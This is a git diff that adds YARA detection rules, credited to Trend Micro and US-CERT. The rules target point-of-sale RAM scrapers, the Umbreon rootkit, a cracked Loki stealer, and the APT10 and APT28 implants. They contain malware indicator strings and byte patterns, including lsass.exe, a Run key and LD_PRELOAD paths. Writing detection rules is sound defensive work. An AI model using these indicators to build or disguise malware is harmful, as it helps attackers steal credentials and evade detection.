+$pdb3 = “C:\\Users\\Tom\\documents\\visual studio 2012\\Projects\\jsd_12.2\\Release\\jsd_12.2.pdb� nocase
+$pdb4 = “C:\\Users\\Tom\\documents\\visual studio 2012\\Projects\\jsd_12.2\\x64\\Release\\jsd_12.2.pdb� nocase
+$string0 = “Software\\Microsoft\\Windows\\CurrentVersion\\Run� wide
+$string1 = “Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0)� wide
+$string2 = “Content-Type: application/x-www-form-urlencoded� wide
+$string3 = “Use 64bit version.� wide
+$string4 = “SeDebugPrivilege� wide
+$string5 = “Java Update Manager� wide
+$string6 = “Java\\Javaj.exe� wide
+$string7 = “lsass.exe� wide
+$string8 = “aW5zZXJ0�
+condition:
+(any of ($pdb*)) or (all of ($str*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Trend Micro/PoS_Malware_RawPOS2015_dumper.yar b/yara-mikesxrs/Trend Micro/PoS_Malware_RawPOS2015_dumper.yar
new file mode 100644
index 0000000..e6c44d9
--- /dev/null
+++ b/yara-mikesxrs/Trend Micro/PoS_Malware_RawPOS2015_dumper.yar	
@@ -0,0 +1,22 @@
+rule PoS_Malware_RawPOS2015_dumper : RawPOS2015_dumper
+{
+meta:
+ author = "Trend Micro, Inc."
+ date = "2015-03-10"
+ description = "Used to detect RawPOS RAM dumper, including 2015 sample set"
+ reference = "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf"
+ sample_filetype = "exe"
+strings:
+ $string1 = "(1[0-2]))([0-9]"
+ $string2 = "(1[0-2]))[0-9]{8,30})"
+ $string3 = "((B(([0-9]{13,16})"
+ $mess1 = "Found track data at %s with PID %d"
+ $mess2 = "Enter Process Id: "
+ $mess3 = " Dump private process memory by PID"
+ $mess4 = "Dumping private memory for pid %s to %s.dmp..."
+ $mess5 = " Full private dump of all running processes"
+ $memd1 = "memdump\\%s-%d.dmp"
+ $memd2 = "mkdir memdump >NUL 2>NUL"
+condition:
+ (all of ($memd*)) and (all of ($mess*)) and (any of ($string*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Trend Micro/PoS_Malware_RawPOS2015_dumper_old.yar b/yara-mikesxrs/Trend Micro/PoS_Malware_RawPOS2015_dumper_old.yar
new file mode 100644
index 0000000..abaedbd
--- /dev/null
+++ b/yara-mikesxrs/Trend Micro/PoS_Malware_RawPOS2015_dumper_old.yar	
@@ -0,0 +1,24 @@
+rule PoS_Malware_RawPOS2015_dumper_old : RawPOS2015_dumper_old
+{
+meta:
+ author = "Trend Micro, Inc."
+ date = "2015-03-10"
+ description = "Used to detect RawPOS memory dumper, pre-2012"
+ reference = "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf"
+ sample_filetype = "exe"
+strings:
+ $string0 = " Full private dump of all running processes"
+ $string1 = " show info on Process like Path"
+ $string2 = " Show this help"
+ $string3 = " List all running processes"
+ $string4 = "Dumping private memory for pid %s to %s.dmp..."
+ $string5 = "%s-%d.dmp"
+ $string6 = "memdump\\%s-%d.dmp"
+ $string7 = "del memdump\\"
+ $string8 = "Process Memory Dumper"
+ $string9 = "Base size: %u"
+ $string10 = "Module ID: %u"
+ $string11 = "Hex: %xh"
+condition:
+ all of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Trend Micro/PoS_Malware_RawPOS2015_service.yar b/yara-mikesxrs/Trend Micro/PoS_Malware_RawPOS2015_service.yar
new file mode 100644
index 0000000..b725d08
--- /dev/null
+++ b/yara-mikesxrs/Trend Micro/PoS_Malware_RawPOS2015_service.yar	
@@ -0,0 +1,24 @@
+rule PoS_Malware_RawPOS2015_service : RawPOS2015_service
+{
+meta:
+ author = "Trend Micro, Inc."
+ date = "2015-03-10"
+ description = "Used to detect RawPOS RAM service, including 2015 sample set"
+ reference = "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf"
+ sample_filetype = "exe"
+strings:
+ $string0 = "OpenService failed - %s"
+ $string1 = "OpenSCManager failed - %s"
+ $string2 = "Unable to install %s - %s"
+ $string3 = "File already exists"
+ $string4 = "Stopping %s."
+ $string5 = "This may take several seconds. Please wait."
+ $string6 = "%s failed to stop."
+ $string7 = "%s removed."
+ $string8 = "Debugging %s."
+ $string9 = "Could not create registery key"
+ $string10 = "\\\\.\\pipe\\susrv"
+ $string11 = "SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\%s"
+condition:
+ all of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Trend Micro/VBS.yar b/yara-mikesxrs/Trend Micro/VBS.yar
new file mode 100644
index 0000000..024919c
--- /dev/null
+++ b/yara-mikesxrs/Trend Micro/VBS.yar	
@@ -0,0 +1,22 @@
+rule layer1_vbs
+{
+meta:
+	author = "Trendmicro"
+	reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/from-cybercrime-to-cyberpropaganda/"
+strings:
+	$vbs = /[a-z]+ = [a-z]+ & ChrW\(AscW\(Mid\([a-z]+, [a-z]+, 1\)\) - [a-z]+ \* [a-z]+\)/ wide
+condition:
+$vbs
+}
+
+rule layer0_vbs
+{
+meta:
+	author = "Trendmicro"
+	reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/from-cybercrime-to-cyberpropaganda/"
+strings:
+	$code = /Dim \w+\s+\r\n\s+For Each \w+ In split\(\w+,".+"\)\r\n\s+\w+ = \w+ & ChrW\(\w+ - "\d+"\)/
+condition:
+$code
+}
+
diff --git a/yara-mikesxrs/Trend Micro/cracked_loki.yar b/yara-mikesxrs/Trend Micro/cracked_loki.yar
new file mode 100644
index 0000000..8b05e8c
--- /dev/null
+++ b/yara-mikesxrs/Trend Micro/cracked_loki.yar	
@@ -0,0 +1,19 @@
+import "pe"
+rule cracked_loki
+{
+meta:
+ 	author = "TrendMicro"
+  reference = "https://documents.trendmicro.com/assets/appendix-CVE-2017-11882-exploited-to-deliver-a-cracked-version-of-the-loki-infostealer.pdf"
+strings:
+ 	$header = "MZ"
+ 	$banner = "Fuckav.ru"
+ 	$aPLib = "aPLib v1.01 - the smaller the better :)"
+ 	$dot_x_code_start = {60 90 90 90 90 90 90 FF 74 24 24 5F 90 90 90 90 90 90 90 90 90 90}
+ 	$dot_x_code_xor = {BB FF FF DF DD BE 74 00 ?? ?? 90 90 90 90 30 1E 46 90 90 90 90 80 3E 00}
+condition:
+ 	$header at 0 and $banner and $aPLib and
+ 	pe.number_of_sections == 4 and
+ 	pe.sections[3].name == ".x" and
+ 	pe.sections[3].virtual_address == 0xA0000 and
+ 	$dot_x_code_start and $dot_x_code_xor
+}
diff --git a/yara-mikesxrs/Trend Micro/crime_linux_umbreon _ rootkit.yar b/yara-mikesxrs/Trend Micro/crime_linux_umbreon _ rootkit.yar
new file mode 100644
index 0000000..72db5c1
--- /dev/null
+++ b/yara-mikesxrs/Trend Micro/crime_linux_umbreon _ rootkit.yar	
@@ -0,0 +1,60 @@
+rule crime_linux_umbreon : rootkit
+{
+	meta:
+		description = "Catches Umbreon rootkit"
+		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems"
+		author = "Fernando Merces, FTR, Trend Micro"
+		date = "2016-08"
+	
+	strings:
+		$ = { 75 6e 66 75 63 6b 5f 6c 69 6e 6b 6d 61 70 }
+		$ = "unhide.rb" ascii fullword
+		$ = "rkit" ascii fullword
+
+	condition:
+		uint32(0) == 0x464c457f // Generic ELF header
+		and uint8(16) == 0x0003 // Shared object file
+		and all of them
+}
+
+rule crime_linux_umbreon_strace : rootkit
+{
+	meta:
+		description = "Catches Umbreon strace rootkit component"
+		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems"
+		author = "Fernando Merces, FTR, Trend Micro"
+		date = "2016-08"
+	
+	strings:
+		$ = "LD_PRELOAD" fullword
+		$ = /ld\.so\.[a-zA-Z0-9]{7}/ fullword
+		$ = "\"/etc/ld.so.preload\"" fullword
+		$ = "fputs_unlocked" fullword
+
+	condition:
+		uint32(0) == 0x464c457f // Generic ELF header
+		and uint8(16) == 0x0003 // Shared object file
+		and all of them
+}
+
+rule crime_linux_umbreon_espeon : rootkit backdoor
+{
+	meta:
+		description = "Catches Umbreon strace rootkit component"
+		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems"
+		author = "Fernando Merces, FTR, Trend Micro"
+		date = "2016-08"
+
+	strings:
+		$ = "Usage: %s [interface]" fullword
+		$ = "Options:" fullword
+		$ = "    interface    Listen on <interface> for packets." fullword
+		$ = "/bin/espeon-shell %s %hu"
+		$ = { 66 75 63 6b 20 6f 66 66 20 63 75 6e 74 }
+		$ = "error: unrecognized command-line options" fullword
+
+	condition:
+		uint32(0) == 0x464c457f // Generic ELF header
+		and uint8(16) == 0x0002 // Executable file
+		and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/APT10 Dropper.yar b/yara-mikesxrs/US CERT/APT10 Dropper.yar
new file mode 100644
index 0000000..eca2b33
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT10 Dropper.yar	
@@ -0,0 +1,12 @@
+rule Dropper_DeploysMalwareViaSideLoading {
+    meta:
+            description = "Detect a dropper used to deploy an implant via side loading. This dropper has specifically been observed deploying REDLEAVES & PlugX"
+            author = "USG"
+            true_positive = "5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481: drops REDLEAVES. 6392e0701a77ea25354b1f40f5b867a35c0142abde785a66b83c9c8d2c14c0c3: drops plugx. "
+            reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+    strings:
+            $UniqueString = {2e 6c 6e 6b [0-14] 61 76 70 75 69 2e 65 78 65} // ".lnk" near "avpui.exe"
+            $PsuedoRandomStringGenerator = {b9 1a [0-6] f7 f9 46 80 c2 41 88 54 35 8b 83 fe 64} // Unique function that generates a 100 character pseudo random string.
+    condition:
+            any of them
+}
diff --git a/yara-mikesxrs/US CERT/APT10 Redleaves Plugx.yar b/yara-mikesxrs/US CERT/APT10 Redleaves Plugx.yar
new file mode 100644
index 0000000..b2b54d6
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT10 Redleaves Plugx.yar	
@@ -0,0 +1,29 @@
+rule PLUGX_RedLeaves
+{
+meta:
+      author = "US-CERT Code Analysis Team"
+      date = "03042017
+      incident = "10118538"
+      date = "2017/04/03"
+      MD5_1 = "598FF82EA4FB52717ACAFB227C83D474"
+      MD5_2 = "7D10708A518B26CC8C3CBFBAA224E032"
+      MD5_3 = "AF406D35C77B1E0DF17F839E36BCE630"
+      MD5_4 = "6EB9E889B091A5647F6095DCD4DE7C83"
+      MD5_5 = "566291B277534B63EAFC938CDAAB8A399E41AF7D"
+      info = "Detects specific RedLeaves and PlugX binaries"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+
+strings:
+      $s0 = { 80343057403D2FD0010072F433C08BFF80343024403D2FD0010072F4 }
+      $s1 = "C:\\Users\\user\\Desktop\\my_OK_2014\\bit9\\runsna\\Release\\runsna.pdb"
+      $s2 = "d:\\work\\plug4.0(shellcode)"
+      $s3 = "\\shellcode\\shellcode\\XSetting.h"
+      $s4 = { 42AFF4276A45AA58474D4C4BE03D5B395566BEBCBDEDE9972872C5C4C5498228 }
+      $s5 = { 8AD32AD002D180C23830140E413BCB7CEF6A006A006A00566A006A00 }
+      $s6 = { EB055F8BC7EB05E8F6FFFFFF558BEC81ECC8040000535657 }
+      $s7 = { 8A043233C932043983C10288043283F90A7CF242890D18AA00103BD37CE2891514AA00106A006A006A0056 }
+      $s8 = { 293537675A402A333557B05E04D09CB05EB3ADA4A4A40ED0B7DAB7935F5B5B08 }
+      $s9 = "RedLeavesCMDSimulatorMutex"
+condition:
+      $s0 or $s1 or $s2 and $s3 or $s4 or $s5 or $s6 or $s7 or $s8 or $s9
+}
diff --git a/yara-mikesxrs/US CERT/APT10 Redleaves loader.yar b/yara-mikesxrs/US CERT/APT10 Redleaves loader.yar
new file mode 100644
index 0000000..d801015
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT10 Redleaves loader.yar	
@@ -0,0 +1,13 @@
+
+rule REDLEAVES_DroppedFile_ImplantLoader_Starburn {
+    meta:
+            description = "Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT"
+            author = "USG"
+            true_positive = "7f8a867a8302fe58039a6db254d335ae" // StarBurn.dll
+            reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+
+    strings:
+            $XOR_Loop = {32 0c 3a 83 c2 02 88 0e 83 fa 08 [4-14] 32 0c 3a 83 c2 02 88 0e 83 fa 10} // Deobfuscation loop
+    condition:
+            any of them
+}
diff --git a/yara-mikesxrs/US CERT/APT10 Redleaves.yar b/yara-mikesxrs/US CERT/APT10 Redleaves.yar
new file mode 100644
index 0000000..5977fbc
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT10 Redleaves.yar	
@@ -0,0 +1,14 @@
+
+rule REDLEAVES_CoreImplant_UniqueStrings {
+    meta:
+        description = "Strings identifying the core REDLEAVES RAT in its deobfuscated state"
+        author = "USG"
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+
+    strings:
+        $unique2 = "RedLeavesSCMDSimulatorMutex" nocase wide ascii
+        $unique4 = "red_autumnal_leaves_dllmain.dll" wide ascii
+        $unique7 = "\\NamePipe_MoreWindows" wide ascii
+    condition:
+      any of them
+}
diff --git a/yara-mikesxrs/US CERT/APT10 redleaves handkerchief.yar b/yara-mikesxrs/US CERT/APT10 redleaves handkerchief.yar
new file mode 100644
index 0000000..dad605d
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT10 redleaves handkerchief.yar	
@@ -0,0 +1,12 @@
+rule REDLEAVES_DroppedFile_ObfuscatedShellcodeAndRAT_handkerchief {
+    meta:
+        description = "Detect obfuscated .dat file containing shellcode and core REDLEAVES RAT"
+        author = "USG"
+        true_positive = "fb0c714cd2ebdcc6f33817abe7813c36" // handkerchief.dat
+        reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+
+    strings:
+        $RedleavesStringObfu = {73 64 65 5e 60 74 75 74 6c 6f 60 6d 5e 6d 64 60 77 64 72 5e 65 6d 6d 6c 60 68 6f 2f 65 6d 6d} // This is 'red_autumnal_leaves_dllmain.dll' XOR'd with 0x01
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/US CERT/APT28_IMPLANT_1.yara b/yara-mikesxrs/US CERT/APT28_IMPLANT_1.yara
new file mode 100644
index 0000000..d65b85c
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT28_IMPLANT_1.yara	
@@ -0,0 +1,93 @@
+rule APT28_IMPLANT_1_v1
+{
+meta:
+      author = "US-CERT"
+      description = "X-AGENT/CHOPSTICK"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+      $STR1 = {6A ?? E8 ?? ?? FF FF 59 85 C0 74 0B 8B C8 E8 ?? ?? FF FF 8B F0 EB 02 33 F6 8B CE E8 ?? ?? FF FF 85 F6 74 0E 8B CE E8 ?? ?? FF FF 56 E8 ?? ?? FF FF 59}
+condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule APT28_IMPLANT_1_v2
+{
+meta:
+      author = "US-CERT"
+      description = "X-AGENT/CHOPSTICK"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+      $STR1 = {83 3E 00 53 74 4F 8B 46 04 85 C0 74 48 83 C0 02 50 E8 ?? ?? 00 00 8B D8 59 85 DB 74 38 8B 4E 04 83 F9 FF 7E 21 57 }
+      $STR2 = {55 8B EC 8B 45 08 3B 41 08 72 04 32 C0 EB 1B 8B 49 04 8B 04 81 80 78 19 01 75 0D FF 70 10 FF [5] 85 C0 74 E3 }
+
+condition:
+      (uint16(0) == 0x5A4D) and any of them
+}
+
+rule APT28_IMPLANT_1_v3
+{
+meta:
+      author = "US-CERT"
+      description = "X-AGENT/CHOPSTICK"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+      $rol7encode = { 0F B7 C9 C1 C0 07 83 C2 02 33 C1 0F B7 0A 47 66 85 C9 75 }
+condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule APT28_IMPLANT_1_v4
+{
+meta:
+      author = "US-CERT"
+      description = "X-AGENT/CHOPSTICK"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+ strings:
+      $XOR_LOOP = { 8B 45 FC 8D 0C 06 33 D2 6A 0B 8B C6 5B F7 F3 8A 82 ?? ?? ?? ?? 32 04 0F 46 88 01 3B 75 0C 7C E0 }
+ condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule APT28_IMPLANT_1_v5
+{
+meta:
+      author = "US-CERT"
+      description = "X-AGENT/CHOPSTICK"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+      $drivername = { 6A 30 ?? 6A 33 [5] 6A 37 [5] 6A 32 [5] 6A 31 [5] 6A 77 [5] 6A 69 [5] 6A 6E [5] 6A 2E [5] 6A 73 [5-9] 6A 79 [5] 6A 73 }
+      $mutexname = { C7 45 ?? 2F 2F 64 66 C7 45 ?? 63 30 31 65 C7 45 ?? 6C 6C 36 7A C7 45 ?? 73 71 33 2D C7 45 ?? 75 66 68 68 66 C7 45 ?? 66 }
+condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
+
+rule APT28_IMPLANT_1_v6
+{
+meta:
+      author = "US-CERT"
+      description = "X-AGENT/CHOPSTICK"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+      $XORopcodes_eax = { 35 (22 07 15 0e|56 d7 a7 0a) }
+      $XORopcodes_others = { 81 (f1|f2|f3|f4|f5|f6|f7) (22 07 15 0e|56 d7 a7 0a) }
+
+condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025) and any of them
+}
+
+rule APT28_IMPLANT_1_v7
+{
+meta:
+      author = "US-CERT"
+      description = "X-AGENT/CHOPSTICK"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+      $XOR_FUNCT = { C7 45 ?? ?? ?? 00 10 8B 0E 6A ?? FF 75 ?? E8 ?? ?? FF FF }
+
+condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
diff --git a/yara-mikesxrs/US CERT/APT28_IMPLANT_2.yara b/yara-mikesxrs/US CERT/APT28_IMPLANT_2.yara
new file mode 100644
index 0000000..2f20bb5
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT28_IMPLANT_2.yara	
@@ -0,0 +1,311 @@
+rule IMPLANT_2_v1
+{
+meta:
+      author = "US-CERT"
+      description = "CORESHELL/SOURFACE"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+      $STR1 = { 8d ?? fa [2] e8 [2] FF FF C7 [2-5] 00 00 00 00 8D [2-5] 5? 6a 00 6a 01}
+
+condition:
+   	 (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v2
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01}
+
+condition:
+	(uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v3
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {c1eb078d??01321c??33d2}
+	$STR2 = {2b??83??060f83??000000eb0233}
+	$STR3 = {89????89????8955??8945??3b??0f83??0000008d????8d????fe}
+
+condition:
+	(uint16(0) == 0x5A4D) and any of them
+}
+
+rule IMPLANT_2_v4
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53 56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68 [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27}
+condition:
+ (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v5
+{
+meta:
+      author = "US-CERT"
+      description = "CORESHELL/SOURFACE"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33 C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00 00 00 48 8B CC E8}
+
+condition:
+	(uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v6
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {e8 [2] ff ff 8b [0-6] 00 04 00 00 7F ?? [1-2] 00 02 00 00 7F ?? [1-2] 00 01 00 00 7F ??
+    [1-2] 80 00 00 00 7F ?? 83 ?? 40 7F}
+condition:
+	(uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v7
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {0a 0f af d8 33 d2 8d 41 ff f7 75 ?? 8b 45 0c c1 eb 07 8d 79 01 32 1c 02 33 d2 8b c7 89 5d e4 bb 06 00 00 00 f7 f3 8b 45 0c 8d 59 fe 02 5d ff 32 1c 02 8b c1 33 d2 b9 06 00 00 00 f7 f1 8b 45 0c 8b cf 22 1c 02 8b 45 e4 8b 55 e0 08 d4 1f e8 3f 80 68 b4 5? ?7 2? ?8 b4 d? ?8 b?}
+	$STR2 = {8d 9b 00 00 00 00 0f b6 5c 0a fe 8d 34 02 8b 45 ?? 03 c2 0f af d8 8d 7a 01 8d 42 ff 33 d2 f7 75 ?? c1 eb 07 8b c7 32 1c 0a 33 d2 b9 06 00 00 00 f7 f1 8a 4d ?? 8b 45 0c 80 e9 02 02 4d ?? 32 0c 02 8b 45 ?? 33 d2 f7 75 ?? 8b 45 0c 22 0c 02 8b d7 02 d9 30 1e 8b 4d 0c 8d 42 fe 3b 45 e8 8b 45 ?? 89 55 ?? 72 a0 5f 5e 5b 8b e5 5d c2 08 00}
+condition:
+	(uint16(0) == 0x5A4D) and any of them
+}
+
+rule IMPLANT_2_v8
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {8b??448944246041f7e08bf2b8abaaaaaac1ee0289742458448b??41f7??8bcaba03000000c1e902890c248d044903c0442b??4489??24043bf10f83??0100008d1c764c896c24}
+	$STR2 = {c541f7e0????????????8d0c5203c92bc18bc8??8d04??460fb60c??4002c7418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa46220c??418d48fef7e1c1ea028d045203c02bc88bc1}
+	$STR3 = {41f7e0c1ea02418bc08d0c5203c92bc18bc8428d041b460fb60c??4002c6418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa}
+	$STR4 = {46220c??418d48fef7e1c1ea028d04528b54245803c02bc88bc10fb64fff420fb604??410fafcbc1}
+
+condition:
+	(uint16(0) == 0x5A4D) and any of them
+}
+
+rule IMPLANT_2_v9
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+	$STR1 = {8A C3 02 C0 02 D8 8B 45 F8 02 DB 83 C1 02 03 45 08 88 5D 0F 89 45 E8 8B FF 0F B6 5C 0E FE 8B 45 F8 03 C1 0F AF D8 8D 51 01 89 55 F4 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 F4 C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 0F 2C 02 32 04 32 33 D2 88 45 FF 8B C1 8B F7 F7 F6 8A 45 FF 8B 75 14 22 04 32 02 D8 8B 45 E8 30 1C 08 8B 4D F4 8D 51 FE 3B D7 72 A4 8B 45 E4 8B 7D E0 8B 5D F0 83 45 F8 06 43 89 5D F0 3B D8 0F 82 ?? ?? ?? ?? 3B DF 75 13 8D 04 7F 8B 7D 10 03 C0 2B F8 EB 09 33 C9 E9 5B FF FF FF 33 FF 3B 7D EC 0F 83 ?? ?? ?? ?? 8B 55 08 8A CB 02 C9 8D 04 19 02 C0 88 45 13 8D 04 5B 03 C0 8D 54 10 FE 89 45 E0 8D 4F 02 89 55 E4 EB 09 8D 9B 00 00 00 00 8B 45 E0 0F B6 5C 31 FE 8D 44 01 FE 0F AF D8 8D 51 01 89 55 0C 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 0C C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 13 2C 02 32 04 32 33 D2 88 45 0B 8B C1 8B F7 F7 F6 8A 45 0B 8B 75 14 22 04 32 02 D8 8B 45 E4 30 1C 01 8B 4D 0C }
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_2_v10
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01 }
+
+condition:
+	(uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v11
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+$STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53 56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68 [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27}
+
+condition:
+	(uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v12
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33 C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00 00 00 48 8B CC E8}
+
+condition:
+	(uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v13
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01}
+
+condition:
+	(uint16(0) == 0x5A4D) and all of them
+}
+
